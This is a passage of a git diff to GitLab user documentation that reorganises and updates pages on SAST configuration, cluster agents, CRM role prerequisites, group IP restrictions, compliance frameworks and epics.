languages:
- python
```
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index 94719224254..c4352f45704 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -105,7 +105,6 @@ Check the [SAST direction page](https://about.gitlab.com/direction/secure/static
| React | [Semgrep](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) with GitLab-managed rules | 13.10 |
| Ruby | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | 13.9 |
| Ruby on Rails | [brakeman](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman) | 10.3 |
-| Scala (any build system) | [Semgrep](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) with GitLab-managed rules | 15.7 |
| Scala<sup>2</sup> | [SpotBugs](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) with the find-sec-bugs plugin | 11.0 (SBT) & 11.9 (Gradle, Maven) |
| Swift (iOS) | [MobSF (beta)](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf) | 13.5 |
| TypeScript<sup>3</sup> | [ESLint security plugin](https://gitlab.com/gitlab-org/security-products/analyzers/eslint) | 11.9, [merged](https://gitlab.com/gitlab-org/gitlab/-/issues/36059) with ESLint in 13.2 |
@@ -232,18 +231,23 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
## Configuration
+SAST scanning runs in your CI/CD pipeline.
+When you add the GitLab-managed CI/CD template to your pipeline, the right [SAST analyzers](analyzers.md) automatically scan your code and save results as [SAST report artifacts](../../../ci/yaml/artifacts_reports.md#artifactsreportssast).
+
To configure SAST for a project you can:
- Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast), provided by
[Auto DevOps](../../../topics/autodevops/index.md).
-- [Configure SAST manually](#configure-sast-manually).
+- [Configure SAST in your CI/CD YAML](#configure-sast-in-your-cicd-yaml).
- [Configure SAST using the UI](#configure-sast-in-the-ui) (introduced in GitLab 13.3).
-### Configure SAST manually
+You can enable SAST across many projects by [enforcing scan execution](../index.md#enforce-scan-execution).
+
+### Configure SAST in your CI/CD YAML
-To enable SAST you must [include](../../../ci/yaml/index.md#includetemplate)
-the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml)
-provided as a part of your GitLab installation.
+To enable SAST, you [include](../../../ci/yaml/index.md#includetemplate)
+the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml).
+The template is provided as a part of your GitLab installation.
Add the following to your `.gitlab-ci.yml` file:
@@ -257,34 +261,16 @@ your project's source code for possible vulnerabilities.
The results are saved as a
[SAST report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportssast)
-that you can later download and analyze. Due to implementation limitations, we
-always take the latest SAST artifact available.
+that you can later download and analyze.
+When downloading, you always receive the most recent SAST artifact available.
### Configure SAST in the UI
You can enable and configure SAST in the UI, either with default settings, or with customizations.
The method you can use depends on your GitLab license tier.
-- [Configure SAST in the UI with default settings](#configure-sast-in-the-ui-with-default-settings).
- [Configure SAST in the UI with customizations](#configure-sast-in-the-ui-with-customizations). **(ULTIMATE)**
-
-### Configure SAST in the UI with default settings
-
-> [Introduced](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#security-configuration-page-for-all-users) in GitLab 13.9
-
-NOTE:
-The configuration tool works best with no existing `.gitlab-ci.yml` file, or with a minimal
-configuration file. If you have a complex GitLab configuration file it may not be parsed
-successfully, and an error may occur.
-
-To enable and configure SAST with default settings:
-
-1. On the top bar, select **Main menu > Projects** and find your project.
-1. On the left sidebar, select **Security & Compliance** > **Configuration**.
-1. In the SAST section, select **Configure with a merge request**.
-1. Review and merge the merge request to enable SAST.
-
-Pipelines now include a SAST job.
+- [Configure SAST in the UI with default settings only](#configure-sast-in-the-ui-with-default-settings-only).
### Configure SAST in the UI with customizations **(ULTIMATE)**
@@ -315,6 +301,24 @@ To enable and configure SAST with customizations:
Pipelines now include a SAST job.
+### Configure SAST in the UI with default settings only
+
+> [Introduced](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#security-configuration-page-for-all-users) in GitLab 13.9
+
+NOTE:
+The configuration tool works best with no existing `.gitlab-ci.yml` file, or with a minimal
+configuration file. If you have a complex GitLab configuration file it may not be parsed
+successfully, and an error may occur.
+
+To enable and configure SAST with default settings:
+
+1. On the top bar, select **Main menu > Projects** and find your project.
+1. On the left sidebar, select **Security & Compliance** > **Configuration**.
+1. In the SAST section, select **Configure with a merge request**.
+1. Review and merge the merge request to enable SAST.
+
+Pipelines now include a SAST job.
+
### Overriding SAST jobs
WARNING:
@@ -346,7 +350,7 @@ To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/
in your CI/CD configuration file after you include the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml).
Only set this variable within a specific job.
-If you set it [at the top level](../../../ci/variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers.
+If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers.
You can set the tag to:
@@ -529,7 +533,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
#### Docker images
@@ -602,7 +606,7 @@ flags are added to the scanner's CLI options.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab 12.5.
In addition to the aforementioned SAST configuration CI/CD variables,
-all [custom variables](../../../ci/variables/index.md#custom-cicd-variables) are propagated
+all [custom variables](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui) are propagated
to the underlying SAST analyzer images if
[the SAST vendored template](#configuration) is used.
@@ -761,7 +765,7 @@ variables:
### Pipeline errors related to changes in the GitLab-managed CI/CD template
-The [GitLab-managed SAST CI/CD template](#configure-sast-manually) controls which [analyzer](analyzers.md) jobs run and how they're configured. While using the template, you might experience a job failure or other pipeline error. For example, you might:
+The [GitLab-managed SAST CI/CD template](#configure-sast-in-your-cicd-yaml) controls which [analyzer](analyzers.md) jobs run and how they're configured. While using the template, you might experience a job failure or other pipeline error. For example, you might:
- See an error message like `'<your job>' needs 'spotbugs-sast' job, but 'spotbugs-sast' is not in any previous stage` when you view an affected pipeline.
- Experience another type of unexpected issue with your CI/CD pipeline configuration.
@@ -775,12 +779,12 @@ include:
If your GitLab instance has limited network connectivity, you can also download the file and host it elsewhere.
-We recommend that you only use this solution temporarily and that you return to [the standard template](#configure-sast-manually) as soon as possible.
+We recommend that you only use this solution temporarily and that you return to [the standard template](#configure-sast-in-your-cicd-yaml) as soon as possible.
### Errors in a specific analyzer job
GitLab SAST [analyzers](analyzers.md) are released as container images.
-If you're seeing a new error that doesn't appear to be related to [the GitLab-managed SAST CI/CD template](#configure-sast-manually) or changes in your own project, you can try [pinning the affected analyzer to a specific older version](#pinning-to-minor-image-version).
+If you're seeing a new error that doesn't appear to be related to [the GitLab-managed SAST CI/CD template](#configure-sast-in-your-cicd-yaml) or changes in your own project, you can try [pinning the affected analyzer to a specific older version](#pinning-to-minor-image-version).
Each [analyzer project](analyzers.md#sast-analyzers) has a `CHANGELOG.md` file listing the changes made in each available version.
@@ -895,3 +899,7 @@ to reconfigure, using the new and improved job definition default values.
include:
- template: Security/SAST.gitlab-ci.yml
```
+
+### MobSF job fails with error message `Reading from Info.plist`
+
+This error happens when `Info.plist` file is missing a `CFBundleIdentifier` key and string value.
diff --git a/doc/user/application_security/secret_detection/post_processing.md b/doc/user/application_security/secret_detection/post_processing.md
index 9c74467bce5..e026c663854 100644
--- a/doc/user/application_security/secret_detection/post_processing.md
+++ b/doc/user/application_security/secret_detection/post_processing.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
FLAG:
By default, auto revocation of GitLab personal access tokens is not available. To opt-in on GitLab.com
-during the [Beta period](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), please
+during the [Beta period](../../../policy/alpha-beta-support.md#beta-features), please
[let us know by completing this form](https://docs.google.com/forms/d/e/1FAIpQLSdRbFhvA5jvI-Rt_Qnl1PQ1znOXKK8m6lRtmM0uva4upetKvQ/viewform).
GitLab supports running post-processing hooks after detecting a secret. These
diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md
index e86f9ff4673..22ef3ed8a1b 100644
--- a/doc/user/application_security/vulnerabilities/index.md
+++ b/doc/user/application_security/vulnerabilities/index.md
@@ -204,6 +204,8 @@ To enable security training for vulnerabilities in your project:
1. On the tab bar, select **Vulnerability Management**.
1. To enable a security training provider, turn on the toggle.
+Security training uses content from third-party vendors. You must have an internet connection to use this feature.
+
## View security training for a vulnerability
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/6176) in GitLab 14.9.
diff --git a/doc/user/clusters/agent/ci_cd_workflow.md b/doc/user/clusters/agent/ci_cd_workflow.md
index 2a66549f9cb..304bbaee256 100644
--- a/doc/user/clusters/agent/ci_cd_workflow.md
+++ b/doc/user/clusters/agent/ci_cd_workflow.md
@@ -141,7 +141,7 @@ deploy:
You can assign different agents to separate Auto DevOps jobs. For instance,
Auto DevOps can use one agent for `staging` jobs, and another agent for `production` jobs.
-To use multiple agents, define an [environment-scoped CI/CD variable](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable)
+To use multiple agents, define an [environment-scoped CI/CD variable](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable)
for each agent. For example:
1. Define two variables named `KUBE_CONTEXT`.
diff --git a/doc/user/clusters/agent/troubleshooting.md b/doc/user/clusters/agent/troubleshooting.md
index 6b5f58f8f76..a44d1e9685b 100644
--- a/doc/user/clusters/agent/troubleshooting.md
+++ b/doc/user/clusters/agent/troubleshooting.md
@@ -229,3 +229,13 @@ This error occurs when the GitLab agent tries to update an object and the object
- Add the required annotations manually.
- Delete the object and let the agent recreate it.
- Change your [`inventory_policy`](../../infrastructure/clusters/deploy/inventory_object.md#inventory_policy-options) setting.
+
+## Parse error during installation
+
+When you install the agent, you might encounter an error that states:
+
+```shell
+Error: parse error at (gitlab-agent/templates/observability-secret.yaml:1): unclosed action
+```
+
+This error is typically caused by an incompatible version of Helm. To resolve the issue, ensure that you are using a version of Helm [compatible with your version of Kubernetes](index.md#supported-cluster-versions).
diff --git a/doc/user/clusters/agent/vulnerabilities.md b/doc/user/clusters/agent/vulnerabilities.md
index d9a9981d211..37d742e2b08 100644
--- a/doc/user/clusters/agent/vulnerabilities.md
+++ b/doc/user/clusters/agent/vulnerabilities.md
@@ -84,9 +84,9 @@ Here is an example of a policy which enables operational container scanning with
The keys for a schedule rule are:
-- cadence (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run
-- agents:<agent-name> (required): The name of the agent to use for scanning
-- agents:<agent-name>:namespaces (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned
+- `cadence` (required): a [CRON expression](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) for when the scans will be run
+- `agents:<agent-name>` (required): The name of the agent to use for scanning
+- `agents:<agent-name>:namespaces` (optional): The Kubernetes namespaces to scan. If omitted, all namespaces will be scanned
NOTE:
Other elements of the [CRON syntax](https://docs.oracle.com/cd/E12058_01/doc/doc.1014/e12030/cron_expressions.htm) may work in the cadence field if supported by the [cron](https://github.com/robfig/cron) we are using in our implementation, however, GitLab does not officially test or support them.
diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md
index a8d874ed608..6f7fdc46ad4 100644
--- a/doc/user/clusters/management_project_template.md
+++ b/doc/user/clusters/management_project_template.md
@@ -25,7 +25,7 @@ If you **have not yet** used the agent to connect your cluster with GitLab:
1. [Create a project from the cluster management project template](#create-a-project-based-on-the-cluster-management-project-template).
1. [Configure the project for the agent](agent/install/index.md).
1. In your project's settings, create an
- [environment variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project) named `$KUBE_CONTEXT`
+ [environment variable](../../ci/variables/index.md#for-a-project) named `$KUBE_CONTEXT`
and set the value to `path/to/agent-configuration-project:your-agent-name`.
1. [Configure the files](#configure-the-project) as needed.
@@ -37,7 +37,7 @@ If you have already configured the agent and connected a cluster with GitLab:
1. In the project where you configured your agent,
[grant the agent access to the new project](agent/ci_cd_workflow.md#authorize-the-agent).
1. In the new project, create an
- [environment variable](../../ci/variables/index.md#add-a-cicd-variable-to-a-project) named `$KUBE_CONTEXT`
+ [environment variable](../../ci/variables/index.md#for-a-project) named `$KUBE_CONTEXT`
and set the value to `path/to/agent-configuration-project:your-agent-name`.
1. In the new project, [configure the files](#configure-the-project) as needed.
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 34434ef046a..cf9fac6b25d 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -388,7 +388,7 @@ source "https://gems.example.com"
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html)
-[variable](../../../ci/variables/index.md#custom-cicd-variables)
+[variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file)
in the job definition.
### Configuring Cargo projects
@@ -412,7 +412,7 @@ To supply a custom root certificate to complete TLS verification, do one of the
- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
- Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html)
- [variable](../../../ci/variables/index.md#custom-cicd-variables)
+ [variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file)
in the job definition.
### Configuring Composer projects
@@ -445,7 +445,7 @@ For example:
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile)
-[variable](../../../ci/variables/index.md#custom-cicd-variables)
+[variable](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file)
in the job definition.
### Configuring Conan projects
@@ -508,7 +508,7 @@ example:
}
```
-If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/index.md#protected-cicd-variables)
+If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/index.md#protect-a-cicd-variable)
following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name).
#### Custom root certificates for Conan
diff --git a/doc/user/crm/index.md b/doc/user/crm/index.md
index 2d1aeaa1c07..8c4fb6f1334 100644
--- a/doc/user/crm/index.md
+++ b/doc/user/crm/index.md
@@ -46,6 +46,10 @@ To enable customer relations management in a group or subgroup:
### View contacts linked to a group
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
To view a group's contacts:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -55,6 +59,10 @@ To view a group's contacts:
### Create a contact
+Prerequisites:
+
+- You must have at least the Developer role for the project.
+
To create a contact:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -68,6 +76,10 @@ contacts using the GraphQL API.
### Edit a contact
+Prerequisites:
+
+- You must have at least the Developer role for the project.
+
To edit an existing contact:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -98,6 +110,10 @@ To change the state of a contact:
### View organizations
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
To view a group's organizations:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -107,6 +123,10 @@ To view a group's organizations:
### Create an organization
+Prerequisites:
+
+- You must have at least the Developer role for the project.
+
To create an organization:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -120,6 +140,10 @@ organizations using the GraphQL API.
### Edit an organization
+Prerequisites:
+
+- You must have at least the Developer role for the project.
+
To edit an existing organization:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -138,6 +162,10 @@ issues are linked to contacts matching the email addresses in the sender and CC
### View issues linked to a contact
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
To view a contact's issues, select a contact from the issue sidebar, or:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -146,6 +174,10 @@ To view a contact's issues, select a contact from the issue sidebar, or:
### View issues linked to an organization
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
To view an organization's issues:
1. On the top bar, select **Main menu > Groups** and find your group.
@@ -154,6 +186,10 @@ To view an organization's issues:
### View contacts linked to an issue
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
You can view contacts associated with an issue in the right sidebar.
To view a contact's details, hover over the contact's name.
@@ -166,6 +202,10 @@ API.
### Add or remove issue contacts
+Prerequisites:
+
+- You must have at least the Reporter role for the project.
+
### Add contacts to an issue
To add [active](#change-the-state-of-a-contact) contacts to an issue use the `/add_contacts [contact:address@example.com]`
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index 1e791662a45..44e13f70f2e 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -7,6 +7,11 @@ type: reference, howto
# Comments and threads **(FREE)**
+> - Paginated merge request discussions [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340172) in GitLab 15.1 [with a flag](../../administration/feature_flags.md) named `paginated_mr_discussions`. Disabled by default.
+> - Paginated merge request discussions [enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.2.
+> - Paginated merge request discussions [enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.3.
+> - Paginated merge request discussions [generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/370075) in GitLab 15.8. Feature flag `paginated_mr_discussions` removed.
+
GitLab encourages communication through comments, threads, and
[code suggestions](../project/merge_requests/reviews/suggestions.md).
@@ -357,19 +362,3 @@ with a new push.
Threads are now resolved if a push makes a diff section outdated.
Threads on lines that don't change and top-level resolvable threads are not resolved.
-
-## Display paginated merge request discussions
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340172) in GitLab 15.1 [with a flag](../../administration/feature_flags.md) named `paginated_mr_discussions`. Disabled by default.
-> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.2.
-> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/364497) in GitLab 15.3.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature
-per project or for your entire instance, ask an administrator to
-[disable the feature flag](../../administration/feature_flags.md) named `paginated_mr_discussions`.
-On GitLab.com, this feature is available.
-
-A merge request can have many discussions. Loading them all in a single request
-can be slow. To improve the performance of loading discussions, they are split into multiple
-pages, loading sequentially.
diff --git a/doc/user/free_user_limit.md b/doc/user/free_user_limit.md
index 4f569098d4d..181eb00bb50 100644
--- a/doc/user/free_user_limit.md
+++ b/doc/user/free_user_limit.md
@@ -6,9 +6,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Free user limit **(FREE SAAS)**
-A five-user limit applies to top-level [namespaces](namespace/index.md) with private visibility on GitLab SaaS. This limit is being rolled out gradually, and impacted users will be notified in GitLab.com at least 60 days before the limit is applied.
-
-When the five-user limit is applied, top-level private namespaces exceeding the user limit are placed in a read-only state. These namespaces cannot write new data to repositories, Git Large File Storage (LFS), packages, or registries.
+A five-user limit applies to newly created top-level namespaces with
+private visibility on GitLab SaaS. For existing namespaces, this limit
+is being rolled out gradually. Impacted users are notified in
+GitLab.com at least 60 days before the limit is applied.
+
+When the five-user limit is applied, top-level private namespaces
+exceeding the user limit are placed in a read-only state. These
+namespaces cannot write new data to repositories, Git Large File
+Storage (LFS), packages, or registries. For the full list of restricted
+actions, see [Read-only namespaces](read_only_namespaces.md).
## Manage members in your namespace
diff --git a/doc/user/group/access_and_permissions.md b/doc/user/group/access_and_permissions.md
index a7358db54df..4629f33f088 100644
--- a/doc/user/group/access_and_permissions.md
+++ b/doc/user/group/access_and_permissions.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -56,7 +56,7 @@ To change the permitted Git access protocols for a group:
1. Choose the permitted protocols from **Enabled Git access protocols**.
1. Select **Save changes**.
-## Restrict access to groups by IP address **(PREMIUM)**
+## Restrict group access by IP address **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in GitLab 12.0.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) from GitLab Ultimate to GitLab Premium in 13.1.
@@ -66,16 +66,32 @@ address. This group-level setting applies to:
- The GitLab UI, including subgroups, projects, and issues.
- [In GitLab 12.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/12874), the API.
+- In self-managed installations of GitLab 15.1 and later, you can also configure
+[globally-allowed IP address ranges](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges)
+at the group level.
Administrators can combine restricted access by IP address with
[globally-allowed IP addresses](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges).
+To restrict group access by IP address:
+
+1. On the top bar, select **Main menu > Groups** and find your group.
+1. On the left sidebar, select **Settings > General**.
+1. Expand the **Permissions and group features** section.
+1. In the **Restrict access by IP address** text box, enter a list of IPv4 or IPv6
+ address ranges in CIDR notation. This list:
+ - Has no limit on the number of IP address ranges.
+ - Has a size limit of 1 GB.
+ - Applies to both SSH or HTTP authorized IP address ranges. You cannot split
+ this list by type of authorization.
+1. Select **Save changes**.
+
### Security implications
-You should consider some security implications before configuring IP address restrictions.
+Keep in mind that restricting group access by IP address has the following implications:
- Administrators and group owners can access group settings from any IP address, regardless of IP restriction. However:
- - Groups owners cannot access projects belonging to the group when accessing from a disallowed IP address.
+ - Group owners can access the subgroups, but not the projects belonging to the group or subgroups, when accessing from a disallowed IP address.
- Administrators can access projects belonging to the group when accessing from a disallowed IP address.
Access to projects includes cloning code from them.
- Users can still see group and project names and hierarchies. Only the following are restricted:
@@ -84,30 +100,11 @@ You should consider some security implications before configuring IP address res
- When you register a runner, it is not bound by the IP restrictions. When the runner requests a new job or an update to
a job's state, it is also not bound by the IP restrictions. But when the running CI/CD job sends Git requests from a
restricted IP address, the IP restriction prevents code from being cloned.
-- Users may still see some events from the IP restricted groups and projects on their dashboard. Activity may include
+- Users might still see some events from the IP-restricted groups and projects on their dashboard. Activity might include
push, merge, issue, or comment events.
- IP access restrictions for Git operations via SSH are supported only on GitLab SaaS.
IP access restrictions applied to self-managed instances block SSH completely.
-### Restrict group access by IP address
-
-To restrict group access by IP address:
-
-1. On the top bar, select **Main menu > Groups** and find your group.
-1. On the left sidebar, select **Settings > General**.
-1. Expand the **Permissions and group features** section.
-1. In the **Restrict access by IP address** field, enter a list of IPv4 or IPv6
- address ranges in CIDR notation. This list:
- - Has no limit on the number of IP address ranges.
- - Has a size limit of 1 GB.
- - Applies to both SSH or HTTP authorized IP address ranges. You cannot split
- this list by type of authorization.
-1. Select **Save changes**.
-
-In self-managed installations of GitLab 15.1 and later, you can also configure
-[globally-allowed IP address ranges](../admin_area/settings/visibility_and_access_controls.md#configure-globally-allowed-ip-address-ranges)
-at the group level.
-
## Restrict group access by domain **(PREMIUM)**
> - Support for specifying multiple email domains [added](https://gitlab.com/gitlab-org/gitlab/-/issues/33143) in GitLab 13.1.
@@ -170,11 +167,13 @@ To prevent sharing outside of the group's hierarchy:
## Prevent a project from being shared with groups
-Prevent projects in a group from
-[sharing a project with another group](../project/members/share_project_with_groups.md)
-to enable tighter control over project access.
+[Sharing a project with another group](../project/members/share_project_with_groups.md)
+increases the number of users who can invite yet more members to the project.
+Each (sub)group can be an additional source of access permissions,
+which can be confusing and difficult to control.
-To prevent a project from being shared with other groups:
+To restrict the permission to invite project members to a single source,
+prevent a project from being shared with other groups:
1. On the top bar, select **Main menu > Groups** and find your group.
1. On the left sidebar, select **Settings > General**.
@@ -302,4 +301,4 @@ If a user sees a 404 when they would normally expect access, and the problem is
- `json.message`: `'Attempting to access IP restricted group'`
- `json.allowed`: `false`
-In viewing the log entries, compare the `remote.ip` with the list of [allowed IP addresses](#restrict-access-to-groups-by-ip-address) for the group.
+In viewing the log entries, compare `remote.ip` with the list of [allowed IP addresses](#restrict-group-access-by-ip-address) for the group.
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index 62f5a3ba54f..cb760217487 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -111,7 +111,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address. [Mor
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with
[environments](../../../ci/environments/index.md) similar to how the
-[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable)
+[environment-specific CI/CD variables](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable)
work.
While evaluating which environment matches the environment scope of a
diff --git a/doc/user/group/compliance_frameworks.md b/doc/user/group/compliance_frameworks.md
index 0e976cec866..9f40f9e84bf 100644
--- a/doc/user/group/compliance_frameworks.md
+++ b/doc/user/group/compliance_frameworks.md
@@ -25,9 +25,9 @@ Group owners can create, edit, and delete compliance frameworks:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375036) in GitLab 15.6.
-Group owners can set a default compliance framework. The default framework is applied to all the new projects
-that are created within that group. It does not affect the framework applied to the existing projects. The default
-framework cannot be deleted.
+Group owners can set a default compliance framework. The default framework is applied to all the new and imported
+projects that are created within that group. It does not affect the framework applied to the existing projects. The
+default framework cannot be deleted.
A compliance framework that is set to default has a **default** label.
@@ -237,7 +237,7 @@ can be configured to be:
Generally, if a value in a compliance job:
- Is set, it cannot be changed or overridden by project-level configurations.
-- Is not set, a project-level configuration may set.
+- Is not set, a project-level configuration may be set.
Either might be wanted or not depending on your use case.
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index 547e64df7c5..2716db27037 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -9,12 +9,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in GitLab 11.6.
-When you create a project, you can [choose from a list of templates](../project/working_with_projects.md#create-a-project).
+When you create a project, you can [choose from a list of templates](../project/index.md#create-a-project).
These templates, for things like GitLab Pages or Ruby, populate the new project with a copy of the files contained in the
template. This information is identical to the information used by [GitLab project import/export](../project/settings/import_export.md)
and can help you start a new project more quickly.
-You can [customize the list](../project/working_with_projects.md#create-a-project) of available templates, so
+You can [customize the list](../project/index.md#create-a-project) of available templates, so
that all projects in your group have the same list. To do this, you populate a subgroup with the projects you want to
use as templates.
@@ -40,7 +40,7 @@ Projects in nested subgroups are not included in the template list.
## Which projects are available as templates
-- Public and internal projects can be selected by any signed-in user as a template for a new project,
+- Public and internal projects can be selected by any authenticated user as a template for a new project,
if all [project features](../project/settings/index.md#configure-project-visibility-features-and-permissions)
except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**.
- Private projects can be selected only by users who are members of the projects.
diff --git a/doc/user/group/epics/linked_epics.md b/doc/user/group/epics/linked_epics.md
index 4049ac2e9a1..63bf1a4471c 100644
--- a/doc/user/group/epics/linked_epics.md
+++ b/doc/user/group/epics/linked_epics.md
@@ -20,9 +20,11 @@ To manage linked epics through our API, visit the [epic links API documentation]
## Add a linked epic
+> Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8.
+
Prerequisites:
-- You must have at least the Reporter role for both groups.
+- You must have at least the Guest role for both groups.
- For GitLab SaaS: the epic that you're editing must be in a group on GitLab Ultimate.
The epics you're linking can be in a group on a lower tier.
@@ -59,9 +61,11 @@ The linked epics are then displayed on the epic grouped by relationship.
## Remove a linked epic
+> Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8.
+
Prerequisites:
-- You must have at least the Reporter role for the epic's group.
+- You must have at least the Guest role for the epic's group.
To remove a linked epic, in the **Linked epics** section of an epic,
select **Remove** (**{close}**) next to
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 8e7b6fd82ad..fa8f96952b3 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -341,6 +341,8 @@ automatically added to the epic.
#### Add an existing issue to an epic
+> Minimum required role for the project [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/382506) from Reporter to Guest in GitLab 15.8.
+
You can add existing issues to an epic, including issues in a project from a [different group hierarchy](index.md#child-issues-from-different-group-hierarchies).
